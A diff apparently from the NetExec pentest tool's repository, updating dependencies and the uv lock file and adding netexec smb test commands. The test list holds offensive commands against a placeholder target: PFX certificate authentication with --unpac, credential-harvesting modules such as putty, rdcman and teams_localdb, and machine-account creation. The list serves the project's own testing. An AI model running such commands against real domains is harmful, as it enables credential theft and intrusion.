content-hash = "6ba2529d5c77bb8a64abe738ec3117d903a34de437bdd5eea0b7f0830a9ec0f9"
|
||||
+2
-9
@@ -20,16 +20,14 @@ dependencies = [
|
||||
"aardwolf>=0.2.16",
|
||||
"argcomplete>=3.1.4",
|
||||
"asyauth>=0.0.20",
|
||||
"beautifulsoup4>=4.11,<5",
|
||||
"bloodhound-ce>=1.8.0",
|
||||
"certihound>=0.1.1",
|
||||
"certipy-nxc>=5.1.0.post1",
|
||||
"cryptography>=42.0.8",
|
||||
"dploot>=4.0.0",
|
||||
"dploot>=4.1.3",
|
||||
"dsinternals>=1.2.4",
|
||||
"jwt>=1.3.1",
|
||||
"lsassy>=3.1.11",
|
||||
"masky>=0.2.1",
|
||||
"minikerberos>=0.4.1",
|
||||
"neo4j>=5.0.0",
|
||||
"netifaces (>=0.11.0,<0.12.0)",
|
||||
"paramiko>=3.3.1",
|
||||
@@ -38,7 +36,6 @@ dependencies = [
|
||||
"pylnk3>=0.4.3",
|
||||
"pypsrp>=0.8.1",
|
||||
"pypykatz>=0.6.8",
|
||||
"python-dateutil>=2.8.2",
|
||||
"python-libnmap>=0.7.3",
|
||||
"requests>=2.27.1",
|
||||
"rich>=13.3.5",
|
||||
@@ -47,7 +44,6 @@ dependencies = [
|
||||
"terminaltables3>=4.0.0",
|
||||
"xmltodict>=0.13.0",
|
||||
# Git Dependencies
|
||||
"certipy-nxc>=5.1.0.post1",
|
||||
"impacket @ git+https://github.com/fortra/impacket",
|
||||
"pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient",
|
||||
]
|
||||
@@ -87,7 +83,6 @@ build-backend = "poetry_dynamic_versioning.backend"
|
||||
# uv and poetry native dev group (PEP 735)
|
||||
[dependency-groups]
|
||||
dev = [
|
||||
"flake8",
|
||||
"shiv",
|
||||
"pytest>=7.2.2,<8",
|
||||
"ruff",
|
||||
@@ -98,8 +93,6 @@ dev = [
|
||||
# malicious or compromised releases before they are selected during resolution.
|
||||
[tool.uv]
|
||||
exclude-newer = "1 day"
|
||||
# Temporary: certipy-nxc 5.1.0.post1 was published 2026-10-14, remove once it is older than 1 day
|
||||
exclude-newer-package = { certipy-nxc = "2026-10-14T17:00:00Z" }
|
||||
|
||||
[tool.ruff]
|
||||
preview = true
|
||||
|
||||
@@ -5,6 +5,8 @@ netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile
|
||||
netexec smb TARGET_HOST --generate-krb5-file /tmp/krb5conf
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||
netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME --pfx-cert TEST_PFX_FILE
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME --pfx-cert TEST_PFX_FILE --unpac
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --no-smbv1
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE
|
||||
@@ -76,6 +78,7 @@ netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBERO
|
||||
netexec --jitter 2-2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
##### SMB Modules
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L enumeration
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password1"
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True
|
||||
@@ -153,6 +156,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M putty
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reauth_swap -o PROBE_USER=SECOND_USERNAME PROBE_PASS=SECOND_PASSWORD
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test
|
||||
@@ -162,6 +166,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -
|
||||
# spider_plus takes a while to run, so it is commented out during normal testing
|
||||
# netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spider_plus -o MAX_FILE_SIZE=100
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler --options
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M teams_localdb
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac
|
||||
|
||||
@@ -6,9 +6,6 @@ requires-python = ">=3.11, <4.0"
|
||||
exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values.
|
||||
exclude-newer-span = "P1D"
|
||||
|
||||
[options.exclude-newer-package]
|
||||
certipy-nxc = "2026-10-14T17:00:00Z"
|
||||
|
||||
[[package]]
|
||||
name = "aardwolf"
|
||||
version = "0.2.16"
|
||||
@@ -709,19 +706,19 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "dploot"
|
||||
version = "4.1.1"
|
||||
version = "4.1.3"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "cryptography" },
|
||||
{ name = "impacket" },
|
||||
{ name = "lxml" },
|
||||
{ name = "pick" },
|
||||
{ name = "pyasn1" },
|
||||
{ name = "pypsrp" },
|
||||
{ name = "questionary" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/fa/6c/52dee037768f5d940b5ae410d80fd431fef7d210d7f9af83caeb871e88f9/dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248", size = 72339, upload-time = "2026-09-14T13:55:44.529Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/b7/e8/941cf46b691b6d29c36e65ab00c32c74808fb88e010fb84e40fab8a655de/dploot-4.1.3.tar.gz", hash = "sha256:fd2688df7db50600e76d71fa3f4c14ec94ef264b2ea5d4fb1a8e4c55d092a662", size = 72481, upload-time = "2026-10-27T14:31:08.593Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/19/c0/ede1a114ca34556b2c44844627e043336cb68a76817253682f6d96535fbb/dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a", size = 101304, upload-time = "2026-09-14T13:55:45.849Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/64/39/fdf1696352a48a863ab9420197beaf1566bd285dfcc95af8becd1d745efd/dploot-4.1.3-py3-none-any.whl", hash = "sha256:dc07c2337ab7ed52cccdf3bbe29de92044c8f5622f31742de183e0f1e634f5d9", size = 101476, upload-time = "2026-10-27T14:31:09.817Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -736,20 +733,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/f0/29/41a6937ecc61812d09b9177a09c6f4a3edc499c0e227180d572a23e24e7b/dsinternals-1.2.5-py3-none-any.whl", hash = "sha256:25c544558381a86644fc6ef3b131f2a7450675b35e324553cb414b696d86d7bd", size = 200448, upload-time = "2026-02-01T20:43:59.674Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "flake8"
|
||||
version = "7.3.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "mccabe" },
|
||||
{ name = "pycodestyle" },
|
||||
{ name = "pyflakes" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/9b/af/fbfe3c4b5a657d79e5c47a2827a362f9e1b763336a52f926126aa6dc7123/flake8-7.3.0.tar.gz", hash = "sha256:fe044858146b9fc69b551a4b490d69cf960fcb78ad1edcb84e7fbb1b4a8e3872", size = 48326, upload-time = "2025-06-20T19:31:35.838Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/9f/56/13ab06b4f93ca7cac71078fbe37fcea175d3216f31f85c3168a6bbd0bb9a/flake8-7.3.0-py2.py3-none-any.whl", hash = "sha256:b9696257b9ce8beb888cdbe31cf885c90d31928fe202be0889a7cdafad32f01e", size = 57922, upload-time = "2025-06-20T19:31:34.425Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "flask"
|
||||
version = "3.1.3"
|
||||
@@ -878,8 +861,8 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.14.0.dev0+20261015.95810.75938fcb"
|
||||
source = { git = "https://github.com/fortra/impacket#75938fcb0145b476250940d740f71394676288cb" }
|
||||
version = "0.14.0.dev0+20261028.173308.40b1eb7a"
|
||||
source = { git = "https://github.com/fortra/impacket#40b1eb7a0d25e1f378c5824c17a87be3fd44260a" }
|
||||
dependencies = [
|
||||
{ name = "charset-normalizer" },
|
||||
{ name = "flask" },
|
||||
@@ -932,18 +915,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "jwt"
|
||||
version = "1.4.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "cryptography" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/7f/20/21254c9e601e6c29445d1e8854c2a81bdb554e07a82fb1f9846137a6965c/jwt-1.4.0.tar.gz", hash = "sha256:f6f789128ac247142c79ee10f3dba6e366ec4e77c9920d18c1592e28aa0a7952", size = 24911, upload-time = "2025-06-23T13:28:38.289Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/b9/80/34e3fae850adb0b7b8b9b1cf02b2d975fcb68e0e8eb7d56d6b4fc23f7433/jwt-1.4.0-py3-none-any.whl", hash = "sha256:7560a7f1de4f90de94ac645ee0303ac60c95b9e08e058fb69f6c330f71d71b11", size = 18248, upload-time = "2025-06-23T13:28:37.012Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ldap3"
|
||||
version = "2.9.1"
|
||||
@@ -1188,15 +1159,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/9b/e1/4986c6c786d2ba8475c0344c9fa6a060050f9d4d029141b135d44ed5210e/masky-0.2.1-py3-none-any.whl", hash = "sha256:bcf545f5e2b762fc49df2f29aa934498bb5dd37ba0a28e0c1683acee2e5ef14b", size = 285166, upload-time = "2025-08-15T22:16:19.663Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "mccabe"
|
||||
version = "0.7.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/e7/ff/0ffefdcac38932a54d2b5eed4e0ba8a408f215002cd178ad1df0f2806ff8/mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325", size = 9658, upload-time = "2022-01-24T01:14:51.113Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/27/1a/1f68f9ba0c207934b35b86a8ca3aad8395a3d6dd7921c0686e23853ff5a9/mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e", size = 7350, upload-time = "2022-01-24T01:14:49.62Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "mdurl"
|
||||
version = "0.1.2"
|
||||
@@ -1280,7 +1242,6 @@ dependencies = [
|
||||
{ name = "aardwolf" },
|
||||
{ name = "argcomplete" },
|
||||
{ name = "asyauth" },
|
||||
{ name = "beautifulsoup4" },
|
||||
{ name = "bloodhound-ce" },
|
||||
{ name = "certihound" },
|
||||
{ name = "certipy-nxc" },
|
||||
@@ -1288,10 +1249,8 @@ dependencies = [
|
||||
{ name = "dploot" },
|
||||
{ name = "dsinternals" },
|
||||
{ name = "impacket" },
|
||||
{ name = "jwt" },
|
||||
{ name = "lsassy" },
|
||||
{ name = "masky" },
|
||||
{ name = "minikerberos" },
|
||||
{ name = "neo4j" },
|
||||
{ name = "netifaces" },
|
||||
{ name = "paramiko" },
|
||||
@@ -1301,7 +1260,6 @@ dependencies = [
|
||||
{ name = "pynfsclient" },
|
||||
{ name = "pypsrp" },
|
||||
{ name = "pypykatz" },
|
||||
{ name = "python-dateutil" },
|
||||
{ name = "python-libnmap" },
|
||||
{ name = "requests" },
|
||||
{ name = "rich" },
|
||||
@@ -1313,7 +1271,6 @@ dependencies = [
|
||||
|
||||
[package.dev-dependencies]
|
||||
dev = [
|
||||
{ name = "flake8" },
|
||||
{ name = "pytest" },
|
||||
{ name = "ruff" },
|
||||
{ name = "shiv" },
|
||||
@@ -1324,18 +1281,15 @@ requires-dist = [
|
||||
{ name = "aardwolf", specifier = ">=0.2.16" },
|
||||
{ name = "argcomplete", specifier = ">=3.1.4" },
|
||||
{ name = "asyauth", specifier = ">=0.0.20" },
|
||||
{ name = "beautifulsoup4", specifier = ">=4.11,<5" },
|
||||
{ name = "bloodhound-ce", specifier = ">=1.8.0" },
|
||||
{ name = "certihound", specifier = ">=0.1.1" },
|
||||
{ name = "certipy-nxc", specifier = ">=5.1.0.post1" },
|
||||
{ name = "cryptography", specifier = ">=42.0.8" },
|
||||
{ name = "dploot", specifier = ">=4.0.0" },
|
||||
{ name = "dploot", specifier = ">=4.1.3" },
|
||||
{ name = "dsinternals", specifier = ">=1.2.4" },
|
||||
{ name = "impacket", git = "https://github.com/fortra/impacket" },
|
||||
{ name = "jwt", specifier = ">=1.3.1" },
|
||||
{ name = "lsassy", specifier = ">=3.1.11" },
|
||||
{ name = "masky", specifier = ">=0.2.1" },
|
||||
{ name = "minikerberos", specifier = ">=0.4.1" },
|
||||
{ name = "neo4j", specifier = ">=5.0.0" },
|
||||
{ name = "netifaces", specifier = ">=0.11.0,<0.12.0" },
|
||||
{ name = "paramiko", specifier = ">=3.3.1" },
|
||||
@@ -1345,7 +1299,6 @@ requires-dist = [
|
||||
{ name = "pynfsclient", git = "https://github.com/Pennyw0rth/NfsClient" },
|
||||
{ name = "pypsrp", specifier = ">=0.8.1" },
|
||||
{ name = "pypykatz", specifier = ">=0.6.8" },
|
||||
{ name = "python-dateutil", specifier = ">=2.8.2" },
|
||||
{ name = "python-libnmap", specifier = ">=0.7.3" },
|
||||
{ name = "requests", specifier = ">=2.27.1" },
|
||||
{ name = "rich", specifier = ">=13.3.5" },
|
||||
@@ -1357,7 +1310,6 @@ requires-dist = [
|
||||
|
||||
[package.metadata.requires-dev]
|
||||
dev = [
|
||||
{ name = "flake8" },
|
||||
{ name = "pytest", specifier = ">=7.2.2,<8" },
|
||||
{ name = "ruff" },
|
||||
{ name = "shiv" },
|
||||
@@ -1414,18 +1366,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/54/16/12b82f791c7f50ddec566873d5bdd245baa1491bac11d15ffb98aecc8f8b/pefile-2024.8.26-py3-none-any.whl", hash = "sha256:76f8b485dcd3b1bb8166f1128d395fa3d87af26360c2358fb75b80019b957c6f", size = 74766, upload-time = "2024-08-26T21:01:02.632Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pick"
|
||||
version = "2.6.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "windows-curses", marker = "sys_platform == 'win32'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/b6/f9/450cc44b21190d99b86df3e59f7573d85f3ef2c4f7670ce4f65cb2def3b4/pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82", size = 6266, upload-time = "2026-02-28T13:47:06.31Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/a5/93/704982e09f3481d2055cf8ef7372445dc8ea6c883daf60f0816deb9e362c/pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f", size = 7890, upload-time = "2026-02-28T13:47:05.311Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pillow"
|
||||
version = "12.3.0"
|
||||
@@ -1562,15 +1502,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a", size = 181259, upload-time = "2025-03-28T02:41:19.028Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pycodestyle"
|
||||
version = "2.14.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/11/e0/abfd2a0d2efe47670df87f3e3a0e2edda42f055053c85361f19c0e2c1ca8/pycodestyle-2.14.0.tar.gz", hash = "sha256:c4b5b517d278089ff9d0abdec919cd97262a3367449ea1c8b49b91529167b783", size = 39472, upload-time = "2025-06-20T18:49:48.75Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/d7/27/a58ddaf8c588a3ef080db9d0b7e0b97215cee3a45df74f3a94dbbf5c893a/pycodestyle-2.14.0-py2.py3-none-any.whl", hash = "sha256:dd6bf7cb4ee77f8e016f9c8e74a35ddd9f67e1d5fd4184d86c3b98e07099f42d", size = 31594, upload-time = "2025-06-20T18:49:47.491Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pycparser"
|
||||
version = "3.0"
|
||||
@@ -1745,15 +1676,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/4b/2d/69abac8f838090bbecd5df894befb2c2619e7996a98ddb949db9f3b93225/pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983", size = 2193071, upload-time = "2026-05-06T13:38:08.682Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pyflakes"
|
||||
version = "3.4.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/45/dc/fd034dc20b4b264b3d015808458391acbf9df40b1e54750ef175d39180b1/pyflakes-3.4.0.tar.gz", hash = "sha256:b24f96fafb7d2ab0ec5075b7350b3d2d2218eab42003821c06344973d3ea2f58", size = 64669, upload-time = "2025-06-20T18:45:27.834Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/c2/2f/81d580a0fb83baeb066698975cb14a618bdbed7720678566f1b046a95fe8/pyflakes-3.4.0-py2.py3-none-any.whl", hash = "sha256:f742a7dbd0d9cb9ea41e9a24a918996e8170c799fa528688d40dd582c8265f4f", size = 63551, upload-time = "2025-06-20T18:45:26.937Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pygments"
|
||||
version = "2.20.0"
|
||||
@@ -1914,18 +1836,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/51/ff/f6e8b8f39e08547faece4bd80f89d5a8de68a38b2d179cc1c4490ffa3286/pytest-7.4.4-py3-none-any.whl", hash = "sha256:b090cdf5ed60bf4c45261be03239c2c1c22df034fbffe691abe93cd80cea01d8", size = 325287, upload-time = "2023-12-31T12:00:13.963Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "python-dateutil"
|
||||
version = "2.9.0.post0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "six" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "python-libnmap"
|
||||
version = "0.7.3"
|
||||
@@ -1941,6 +1851,18 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/0f/7b/39c34ca613b0b198cb866466651b26b045e2009864c5183c979a3b83f383/pytz-2026.3.post1-py2.py3-none-any.whl", hash = "sha256:dd95840dd199baea12d9cc096a1d452caa6596a1c1e4b5f3dbd1541855d5e815", size = 508283, upload-time = "2026-07-25T15:12:05.782Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "questionary"
|
||||
version = "2.1.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "prompt-toolkit" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/f6/45/eafb0bba0f9988f6a2520f9ca2df2c82ddfa8d67c95d6625452e97b204a5/questionary-2.1.1.tar.gz", hash = "sha256:3d7e980292bb0107abaa79c68dd3eee3c561b83a0f89ae482860b181c8bd412d", size = 25845, upload-time = "2025-08-28T19:00:20.851Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/3c/26/1062c7ec1b053db9e499b4d2d5bc231743201b74051c973dadeac80a8f43/questionary-2.1.1-py3-none-any.whl", hash = "sha256:a51af13f345f1cdea62347589fbb6df3b290306ab8930713bfae4d475a7d4a59", size = 36753, upload-time = "2025-08-28T19:00:19.56Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "requests"
|
||||
version = "2.32.5"
|
||||
@@ -2205,21 +2127,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/64/82/9be45ef89488ad87870da83271cb734f410373ca86dde76d6907d74cf0e0/winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099", size = 89218, upload-time = "2024-05-06T07:23:14.411Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-curses"
|
||||
version = "2.4.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/d1/58/5fd430fec0ebe1cef88ddccba345ca119f1b44e58f58d6998878a01c9973/windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864", size = 71135, upload-time = "2026-03-31T12:44:35.863Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/84/62/e2bae0ab9c5c80dca9a708a4cb9c8afaf0ef61c8d4459b57f96785040831/windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333", size = 81863, upload-time = "2026-03-31T12:44:36.834Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/2e/9c/b2a3706c8edadae8ae88b327ba072d6056ad1b492f9996214cff027e9f01/windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156", size = 71547, upload-time = "2026-03-31T12:44:37.797Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8b/ee/8c5da36191524856fb2c675f8cae99211ccf77bcd4e4a9010477e08000ac/windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a", size = 82282, upload-time = "2026-03-31T12:44:39.106Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b1/54/195f2c4d0258ced34a401c8e3c9eefa2aa2221a9f0179ae64ad3cb039e64/windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d", size = 71458, upload-time = "2026-03-31T12:44:40.184Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/47/e8/38fd0fef95271280a77a4f3b65e0961d3c39716388b39c08b3040bfb4f2c/windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925", size = 82200, upload-time = "2026-03-31T12:44:41.503Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d2/22/f90c7d1d83464eb63345802f33e8de41bd732521d9a60a69ad985c8faa90/windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0", size = 77028, upload-time = "2026-03-31T12:44:42.611Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6f/6a/1f8754de746474a049a841e139b443b250a96908d6913ccf2db9a4303584/windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f", size = 86361, upload-time = "2026-03-31T12:44:43.893Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "xmltodict"
|
||||
version = "1.0.4"
|
||||
|
||||
Reference in new issue
Block a user